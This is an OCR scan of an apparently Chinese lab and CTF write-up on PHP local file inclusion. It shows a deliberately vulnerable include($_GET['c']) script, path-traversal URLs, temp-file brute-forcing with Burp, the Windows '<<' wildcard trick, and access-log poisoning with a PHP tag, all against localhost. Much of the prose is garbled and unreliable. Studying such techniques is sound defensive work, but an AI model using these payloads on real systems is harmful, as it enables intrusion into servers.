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Q0 Mini-Bl s}
ini-Blog .\+

€ | (D | 14812af6256eaabeaddcca381co1064014b4a.ctf.game/blog_manage/manager.php?module=../robots.txt&name=txtss @ 2% &  Q &F
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Mini-Blog admin Post Manage Logout

User-agent: * Disallow: /flag.php
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Jir BAIX B g2 2 — A php A& SO R B EC & B B BLE 6845 php P A28 H RIHLE R 42 B — M webshell 301

0x02 phpCfF L& L]
BT E— Fphpi& REAHS_FILES.
B 7 B

B HTTP POST 77 s\ EAR B S AT A K I H e . @R PHP M2 /R% $_FILES, R ANE FitEbLRZ
TERSs A LAt

$_FILES HARM T ZAWAEEM LAAREM, HEREZERA LTI

$_FILES['myFile']['name'] %/ ¥ -HIR&HK.

$_FILES['myFile']['type'] SCfFH) MIME K%, FBERWIRBMZEBNLE, Fln"image/gif".
$_FILES['myFile']['size'] T EAECHHIKA, BAAFT.

$_FILES['myFile']['tmp_name'] CH# L2 JEERSmAEF RGN 4L, —BR2RZERIN. WTLEphp.iniffiupload_tmp_dir #
o XEMEMMAES _FILES[myFile’][tmp_name’ iX M2 &

FAEE AR AR T — AN EE R Hmove_uploaded_file(), Z7iERK EAERKISUEREIBIFALE, FHAME
R—ATA, i STPRAE A% A 0 5 A M B T AN = A A

move_uploaded_file(file,newloc)

AR B E IR file 18 5 K SCMF R S AL S0 (BI@EE PHP ) HTTP POST EARHLHIBT A2 /D - IR XH&
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¢ file_upload.html

I:-EGJ|0ca|host:9000/up|oad!fi[e_upload.html # 9% @ C

Filename: | jlis... | sesigwis,

[t ]
Q’ Dwamp\upload\file_upload.html| - Notepad++ - O X
IHE) |EE) #RG WAL BRM) BEEL BED A0 ETR EEE)  0wm) 2 X
cHEHBEE LS JMDoeayxxBE |51 FE@los NN
self_include. htmlal phpE0d?. tnoed B file_upload. htnlEd | upload. phpﬂ' 4
1 B<html>
2
3 |<meta charset="utf-8">
4 E<body>
5 H<form actlon ="upload.php" method = "post“ enctype = "multipart/form-data">
6 i 1 for = "file" »Filename:X/] >
7 <1nput type = "file" name = "upload . flle" id = "file"/>
8 <br/>
9 <input type = "submit" name = "submit" value = "_EfF"/>
10 </form>
1l —</body>
il
IS - < /htm1>
< >
Hyper Text Mar length: 313 lines: 13 Ln:&6 Col:42 Sel:0]0 Windows (CRLF) ARSI iNS
4 1 | »
e upload.php
<?php

echo " EAERIHISC4: ".$_FILES['upload_file']['name’'].'</>"';

echo " EAEHIGIS T4 : ".$_FILES['upload_file']['tmp_name'].'</br>";
echo "JCMFKA: ".¢$ FILES['upload_file']['type'].'</br>"';

echo "X K/h: ".($_FILES['upload_file']['size']/1024)."' KB</br>';

echo move_uploaded_file($_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['name’']);
?>
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HAELUSATLAE R, tmp_namef#r 4 # N 2 php[0-9A-Za-Z){3,4}, T HL7E A& 12 b Rk s i SR tmp B %
T (wampHIEFEE) T

@ localhost:9000/upload/upload.php B 90% ee C

HEFIRISUESE: webshell.php HEZRIIGEIS{4H - D:\wamp\tmp\php6F48.tmp
Z{42£8): application/octet-stream
AN 0.0224609375 KB
1
[J Diwamp\uploadyupload.php - Notepad ++ = a X
) |EE) BEREO) WAV BRM) &S ﬁﬁm =(0) =fTR) B\EHP) \sOMW) ? X
cAEER R 4dboeay2sBE ST EEEAo® | ER R
B seli_include. htnl 3| B pherosr. o3| B file_upload htald B upload. phoid pacn
1 B8<?php /
2 echo " EAfERTRISCfF4: ".8 FILES['upload file']['name'].'</>';
5 echo " FfERIIGERT 42 « " .$ FILES['upload file']['tmp name'].'</br>';
4 echo "JCfF2EAI: ".$ FILES['upload file']['type'l.'</br>';
5 echo "R/ : ".(S5_FILES['upload _file']['size"]/1024).' KB</br>';
6
fl echo move uploaded file(3 FILES['upload file']['"tmp name'], $_FILES['upload
8
9
. - 2>
< >
PHP Hypertext length:377 lines:10 Ln:3 Col:55 Sel:0]|0 Windows (CRLF) ARSI NS |

B EARSER UG SO = B BB MIER, B LAFEAmp R 3R A B AN SO
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L] sess_hk34rq9e9k3em4Bo1crh7fm4v3 2018/7/28 15:01 IE 1 KB
|| sess icalgvagpcfji2b2dorng8j1e723 2018/7/2514:34 0% 0 KB
D sess c7odopbvu749tpnosnual5d2ad 2018/7/24 8:52 A% 0O KB
D sess_u066qdlhlct5ciubvf8852u516 2018/7/14 8:57 IE 0 KB
|| sess bucOp25e28q1t9iibug5s004a3 2018/7/13 18:51 A5 0 KB
|| sess 1gaqpp458hpd9tOcvg8pn2qlbd  2018/7/12 13:58 <7l 0 KB
"] sess_1q19cvfh1270ak420pebodagfi 2018/7/1 19:25 i 0 KB
| sess_2klehbbmronfauledfqre9gdj3 2018/6/2018:50 7% 0 KB
|| sess 7f46emm3segsOp94vfqjj375s0 2018/6/28 12:44 7% 0 KB
] sess_mjeqm4u6721511p41qukfjek21 2018/6/2712:32 ¥ 0 KB
D sess t5b1r5pmvt31128n33fkvOnjd2 2018/6/6 13:41 IE 0 KB
D sess Btd99btivrotju3fovjtv3d7uol 2018/6/5 23:11 it 0 KB
L] sess_cksmhierhidk7p1it7urp85rq3 2018/6/5 13:31 g =2 0 KB
D sess |9okba2rnb2sm42tht70496151 2018/5/30 16:39 IE 0 KB
|| sess 609r5uuvvlsfgbcap9jjng8sné 2018/5/30 1:30 A5 1 KB
] sess_j3m110tim2Inrg5gqqofpnsqp4 2018/5/20 21:14 7% 1 KB
D sess_kjkn1h3vi5k5m2sbbv4lcrbjotm...  2018/5/2 0:36 IE 129 KB

A upload.py 2018/2/3 12:59 Python File 1 KB

o R ABATE T R L PR AR I N SO FR R ? X LR B T B RS B, b Ephp XA EE RBXXFREEDS,
k7= A4 — A T REE IR EORES, R RS ISR BRATHEATpostSU I EAEHRAE.

self _include.php?c=self_include.php

XEMESBNFEY, TEEESER —/phpLEAH, XN ESETEHCOHREER, ENSRPIRET
F, IX A X I A ST A R A BR R AR B R S R, HBR X ANERE, X AN SCHE L BAG 8R4 tmp B T SRR F
EMMpEHFE T

TX B BATT BRI P 4772 88 ) B php SO L B X AN B SCPF AT T

0x04 55 i
MRFF 1. apache 2.4.9. phph45.5.12
1. BIBFA M, —ANNEELS fiself_include.php, —MHE SO B4

e self_include.php

<?php
include($_GET['c']);
?>

¢ self_include.html
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<html>

<meta charset="utf-8">
<body>
<form name="upload" method="post" enctype="multipart/form-data" action=
File: <input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>

./self_include.php?c=self _inclu

2. BATikAh B &M B RN, XE EAg—4>phpinfo3CfF.

l:-i@Iocalhost:9000/upload/selfuinclude.html # o0x € C

File: ... phpinfo.php ETER

[ Dawamp\upload\phpinfo.php - Notepad++ = a X
WHF) RWIEE) BROS) MAV) BRM) B\ES(L) R’REM E(O) BFR EEHP) BHOW) ? X
cHEBELES sMDoednyaxBE 1 EEENa® @EE BN

B self_include. tml'ﬂ[ﬂ file_upload. hu1m|_ﬂ_ upload.phpﬂl:ﬁ self_incluaa.hmlm[ﬂ self_include. phptd mj'i'['i'

1 B<?php
2 T phpinfe () ;
3 L2
4 | 11 3

HEMRERZUE, KBRS T

Maximum function nesting level of ‘100’ reached, aborting!
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1 | »
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‘Call Stack
# [Time Memory Function Location
1 0.0029 255288|{main}( ) .\self_include.php:0
2 | 0.0058 256160(include( 'D:\wamp\upload\self include.php’) .\self_include.php:2
3 | 0.0068 257048|include( 'D:\wamp\upload\self include.php’) Aself_include.php:2
4 | 0.0075 257920|include( 'D:\wamp\upload\self_include.php"’) \self_include.php:2
5 | 0.0081 258816(include( 'D:\wamp\upload\self include.php’) .\self_include.php:2
6 | 0.0087 259688|include( 'D:\wamp'\upload\self include.php') Aself_include.php:2
7 | 0.0091 260584|include( 'D:\wamp\upload\self include.php’) .\self_include.php:2
8 | 0.0095 261456|include( 'D:\wamp\upload\self include.php") .\self_include.php:2
9 | 0.0099 262352(include( 'D:\wamp\upload\self include.php’) .\self_include.php:2
10| 0.0103 263224|include( 'D:\wamp\upload\self include.php') .\self_include.php:2
11| 0.0116 264120|include( 'D:\wamp\upload\self include.php") .\self_include.php:2
12| 0.0131 264992 (include( 'D:\wamp\upload\self include.php’) Aself_inclide php:2
|

o XRFEAFERAME T xdebughfift, BERINR fétrace 100% K158, FLLIX B 7Ephp.iniffixdebughic B 0 E—%:

xdebug.max_nesting level=600

REMRAE KRABZTEN0REARFHREHB, BTEtmp B 3T A ST 7 22 89 Ik i 34
3. ER RS, N EHEE K, RX

’7 @ localhost:9000/upload/self include.php?c=self include.php
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& Documents
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— v » hEBRE > FFHOE (D) * wamp * tmp
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X ity % OneDrive =
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= tkEasE [ secs_hl2drq@eakiemhi8ol crh7fimava
AT EA SRS SRR m Desktop [ sess_ica1gvgpcfizb2dorngsj1e733

O sess_c7odopbvu749tpnosnualsd2ad
[] sess_u066qdihictSc1ubvfBB52u516

5 Music
o MBHETEFHENTETRE , 15 B bk o [ sess_bucop25e28q1t9iibug5stoda3
« INREANHEN SR EZHIE g 0 || sess_19aqpp458hpdat0cvq8pn2qlb4
o FiEeTaES |, T, = | ] sess_1q19cvfh1270ak420pebodagfi
s | ] sess_2klehbbmranfduledfqredgdj3
e SEAR ) | ] sess 7fa6emm3segsOp94dvfajj375s0
~ HE (D) [ ] sess_mjeqmAus721511paiqukficka1
AR SEA M e arbar oo wnbann_nnafl_m_tin
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EEGiR Hid iz 151 PR
« v > WFEBlE > FTH0¥E (D) > wamp > tmp v O [ mEtmpr £
pen— & G sem Hih A
PrET D php467.tmp 2018/7/28 17:54  TMP Xi% 1 KB
[] phpC470.tmp 2018/7/2817:54  TMP 3% 1KB
W ek [ ] sess hk34rq9e9k3demaBolicrh7fmavd  2018/7/28 15:01 g S 1KB
m Desktop | sess_icalgvgpcfi2b2dorngsjie733 2018/7/2514:34 0% 0 KB
Documents 0 sess c7odopBvu749tpnosnualsd2ad 2018/7/24 8:52 3% 0 KB
B Music 0 sess_u066qdlhlct5c1ubvfB8852u516 2018/7/14 8:57 prals 0 KB
L Pictures [ sess_bucop25e28q1tiibug5s0oda3 2018/7/13 18:51 BT S G KB

5. B ATE I RAE T AE R 55 2% _E KIphp AR U/ B & RITE,  BATH AT DAFEA A4 i — AMhtmi S+, actiondi
] fil 3R 32 £ AT T .

4 | [T J r

o Bt AR, BEATRBISMHES, AT kindeditordm 825 i) B 35 J IR Sk 2 s B SO S 4

payload: /kindeditor/php/file_manager_json.php?path=../../../../tmp/

o TESRER A H A EE AT 2 AT DR B A S0
o fE BB 3K 3B

BRAEZBOR=AH T, FrUUXEAZ 2K EAELR, BEIIA =60 807 Bl i SO A4 pl.
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‘1 Intruder attack 6 - O X
Attack Save Columns

M Target | Positions | Payloads | Options |

‘ Filter: Showing all items | [zJ
Request | Payload (Status | Emor | Timeout | Length ¥ | Comment

357 (467 | 200 O L 109722 %
0 200 O O 22m

1 1 200 ad O 2z

2 112 200 O O 2270

3 13 200 O O 22n0

4 114 200 O O 2270

5 115 200 O O 2270

6 116 200 O O 2200

7 17 200 O O 2270

8 118 200 O O 2270 E

|

e
| Raw | Params | Headers | Hex |

GET /upload/self include.php?e=../ /tmp/php4eT.cmp HTTPR/ 1.1

&
Host: localhost:S000 -
Cache-Control: max-age=0
Upgrade-Insecure-Recuests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (FHTML, like Gecko)
Chrome/55.0.2883.87 Safari/537.3€
Accept: text/html,application/xhtml+xml, application/xml;g=0.9%, image/webp, */ *;q=0.8
Accept-Langu i
Cookie: UM _di. crupaecdE3-03 740270001 _BAAa2 11 f-] £5400-1623c96asctTe;
_bk_id.l.lfff=caau.. R J125303.:;
CMZZDATABOBEZEZO=cnz: DL15Z3756229;
bdshare firstime=152. .__..ooa;
CNZZDATA3BOLZS1=cnzz_e~ "7 7 °° mrime%3D1523890787;
_ guid=111872281.1090L --.=lZ; monitor count=5
Connection: close
-
v

lﬂ uJ uJ li] _T}flne a search term 0 maiche;

Finished

1. FEwindows F £t T~ A LA {3 A B ACAF (9 77 iR 8 B i SO

B T FindFirstFilef 41, EAHEMFREE FAREL T, ATBMER <<4 RRILEBXA S, RUTF

http://localhost:9000/upload/self _include.php?c=../tmp/php<<
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= 9.1

i HisEE | http://localhost:9000/upload/self include.php?e=../tmp/php<<
- CWIin10E 5 (3 lingle Bell M4IIBRHEL O#IFEEE [IMSD

@EENs 4 BER @oniy- MESESE SOERA » BIE -
fo) x|BReE-7 x BREE-7 x WphpsE! x +

|system Windows NT DESKTOP-GQ47MEQ 6.2 build 9200 (¥indows 8 Business Edition) ANDG4
Build Date Apr 80 2014 11:15:47

Compiler MSYC11 (Visual C++ 2012)

Architecture |x64

Configure

eseript /nolege configure. jz2 “——enable-snapshot—build® “--dizable-isapi® “—
Comnand enable-debug-pack” “—without-nssql” “—without-pdo-nssql” ‘—without-pidweb”
*——vwith-pde—oci=C:\php-sdkh\oracle’\x84\instantclientl 0 sdk, shared” “——with—
0ci8=C:\php—sdk\eraclelz64\instantclientlO\sdk, sharad” “—with-oci8~
11g=C:‘\phr—sdk\eracle’ x84 instantclientll\sdk, shared” “-—enable—¢bject—out—
dir=../obj/* “—enable-con-dotnet=shared” “—with-mcrypt=static® “——disable-
static—analyze® “—with—pge”
Server API Adpache 2.0 Handler

Tiwtannal mmallad

L]

LI k

0x05 Jigs ¥ kK FF
AL IX R PR R A X M getshell I fiR:, w2 ES&HE X

Ui I — N AFEERISCHET, 27ERRS 28 T Mlog/access.logi#ATic 3k, ATH U@L ul 5N —AN—a1iERE & H E3XH,
Miigetshell

1. B % |l http:/localhost:9000/<?php phpinfo();?>, E5iX B EEMH HbpR K H.
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Burp Intruder Repeater Window Help

l. Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - O

[Target I Proxy T Spider I Scanner I Intruder IRepeatef T Sequencer I Decoder I Comparer I Extender I Project options I User options IA'EI’T.S ]

[1XIZXTSXT4XT§-XD

Go Cancel < |v > |

Request

J Raw T Params I Headers I He

Target: http://localhost:9000 | # || 7

Response

J Raw T Headers T Hex T HTML T Render ]

Daone

GET /<?php phpinfo():;?= HTTE/L.L A HTTP/ 1.1 403 Forbiddsn "
Host: localhost:2000 - Date: Sat, 28 Jul Z018 10:24:40 GMT a
Cache-Control: max-age=0 Server: Apaches/2.4.9 (Win€4) PHP/5.5.12 OpenSSL/Ll.0.lg
Upgrade-Insecure-Requests: 1 mod_vsgif4.4.12 Python/Z.7.14
User—LAgent: Mozilla/S5.0 (Windows NT L0.0; WOWE4d) Content-Length: 337
LAppleWebKit/537.36 (EHTML, like Gecko) Connection: close
Chrome/55.0.2883.87 Safari/537.36 Content-Type: text/html; charset=isco-28855-1
Locept:
text/html, application/xhtml+4xml, application/xml;q=0.%, im <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML Z.0//EN">
age/wehn ¥/ %rg=0.8 <htmlr<head>
oo * -CN, zh;q=0.8 <title>403 Forbidden</title>
Coo. </ head><hody>
UM distiuc. wew/Be0B1-5d4s7 11 F-1Fa4 <hl>Forbidden</hl>
O0-leZ3cSEae <p>You don't have permission to access fLlt;
_bk_id.l.1F . .28497, on this server.</p>
1520175 <hr>
CM™ - L 75E229-%2Entim <address>Apachef2.4.9 (Win64) PHP/5.5.12
18 R2IE5R7 20 J4eB23; OpenSSL/1.0.1g mod wsgif4.4.12 Pythonf2.7.14 Server at
CHZZ:  Ea. ici localhest Port 9000</acddress>
me% oo </body></html>
B | LI R P P = L53 14777 512:
monitor_count=§
Connection: close
= =
v v
? < + > | | Type a search ferm 0 matches ? < + > | | Type a search term 0 matches

BT oytes | 1 miliis

4

LI

| »

2. A LAF Blaccess.log> e T 7 ATV I K url.
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Q’ D:wamp\logsiaccess.log - Notepad++
XD WEE ERO REY) ERM EHQ RED AQ EGR BEHR) EOW 2
cHREELS LMD e ny &%x|BE|I=TE

file upload. html !:ll upload. phpl':il self include. htnl &3

EEAAz®( B E

self include. phpt}l' phpinfo. phpt:i. _

access. logkd

Sl 127.0.0.1 — [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
561143 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
561144 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
561145 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
5e1l46 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
561147 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_ include.php?c=.
SGIIEE127.0.0.1 — [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
56114698 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
Sel5aMN127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
SGINEIEN127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
561152 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
561153 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_ include.php?c=.
5Bl I5AN127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
SGiaciES T 1277 .0.0.1 = [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
SIS ERN127.0,0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.phpzc=.
561157 127.0.0.1 - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=.
SGINIGERE127.0.0.1 — [28/Jul/2018:18:21:40 +0800] "GET /favicon.ico HTTP/1.1" 404 3
5611598127 .0.0.1 - [28/Jul/2018:18:21:55 +0800] "GET /upload/self include.php?c=%
SGiliscime1>7.0.0.1 - [28/Jul/2018:18:22:24 +0800] "GET /%3C?php%20phpinfo():?%3E HT
561161 127.0.0.1 - [28/Jul/2018:18:23:56 +0800] "GET /<?php phpinfo();?> HTTP/1.1
561162 127.0.0.1 - [28/Jul/2018:18:24:39 +0800] "GET /<?php phpinfo();?> HTTP/1.1
561163 127.0.0.1 - [28/Jul/2018:18:24:40 +0800] "GET /<?php phpinfo():;?> HTTP/1.1
561164 /)

< >
Normal text file length : 61,690,681 lines:561,1€Ln:1 Col:1 Sel:0|0 Windows (CRLF) U1F-8 INS

<

3. HATSUHF RS, AIhEE T phpinfolX#.

http://localhost:9000/upload/self _include.php?c=../logs/access.log
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' /upload/self_include. php?ec=. . /tmp/php979. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] “GET /upload/self_inclu
-~ [28/Jul1/2018:18:09:08 +0800] “GET /upload/self_include. php?c=. . /tmp/php981. tmp HTTP/1.17 200 2036 127.0.0.1 - - [28/Jul/2018:18:
p982. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_include. php?c=../tmp/php983. tmp HTTP/1.1" !
' /upload/self_include. php?c=.. /tmp/php984. tmp HITP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self inclu
- - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_include. php?c=../tmp/php986. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:
p987. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_include. php?c=../tmp/php988. tmp HTTP/1.1" !
' /upload/self_include. php?c=.. /tmp/php989. tmp HITP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self inclu
-~ [28/Jul/2018:18:09:08 +0800] “GET /upload/self_include. php?c=../tmp/php991. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:
p992. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self include.php?c=../tmp/php993. tmp HTTP/1.1" .
' /upload/self_include. php?c=. . /tmp/php994. tmp HTTP/1.1" 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_inclu
-~ [28/Jul/2018:18:09:08 +0800] "GET /upload/self_include. php?c=../tmp/php996. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:
p997. tmp HTTP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:09:08 +0800] "GET /upload/self_include. php?c=../tmp/php998. tmp HTTP/1.1"
' /upload/self_include. php?c=.. /tmp/php999. tmp HITP/1.1” 200 2036 127.0.0.1 - - [28/Jul/2018:18:21:40 +0800] "GET /favicon. ico HTTP/
8:18:23:56 +0800] “GET /

System Windows WT DESKTOP-GQ47MEQ 6.2 build 9200 (Windows 8 Business Edition) &MD&4
Build Date Apr 30 2014 11:15:47
Conpiler MSVC11 (Visual C#++ 2012)

Architecture |x64

Configure cseript fnologo configure. js “-—enable-snapshot-build® “——disable-isapi” "—
Commnand enable-debugz-pack” “——without-mssgl” "—-without-pde-mssaql” “—witheut-pisweh”
“—with-pde-oci=C:\php-sdk\oraclel\x64\ins tantclient10ysdk, shared” “—with—
o0ciB=C:\php-sdi\eracle\xé4\instantclient10\sdk, shared” “——with-ociB-
11g=C:\php-sdihoracle\xé4yins tantclientl1sdk, shared” “——enable-object-out—
dir=.. fobj/" “-——enable-com-dotnet=shared” “-—with-mcrypt=static” “——disable-
staticanalyze” "—withpgo”

Server API Apache 2.0 Handler

Virtual enabled
Directory
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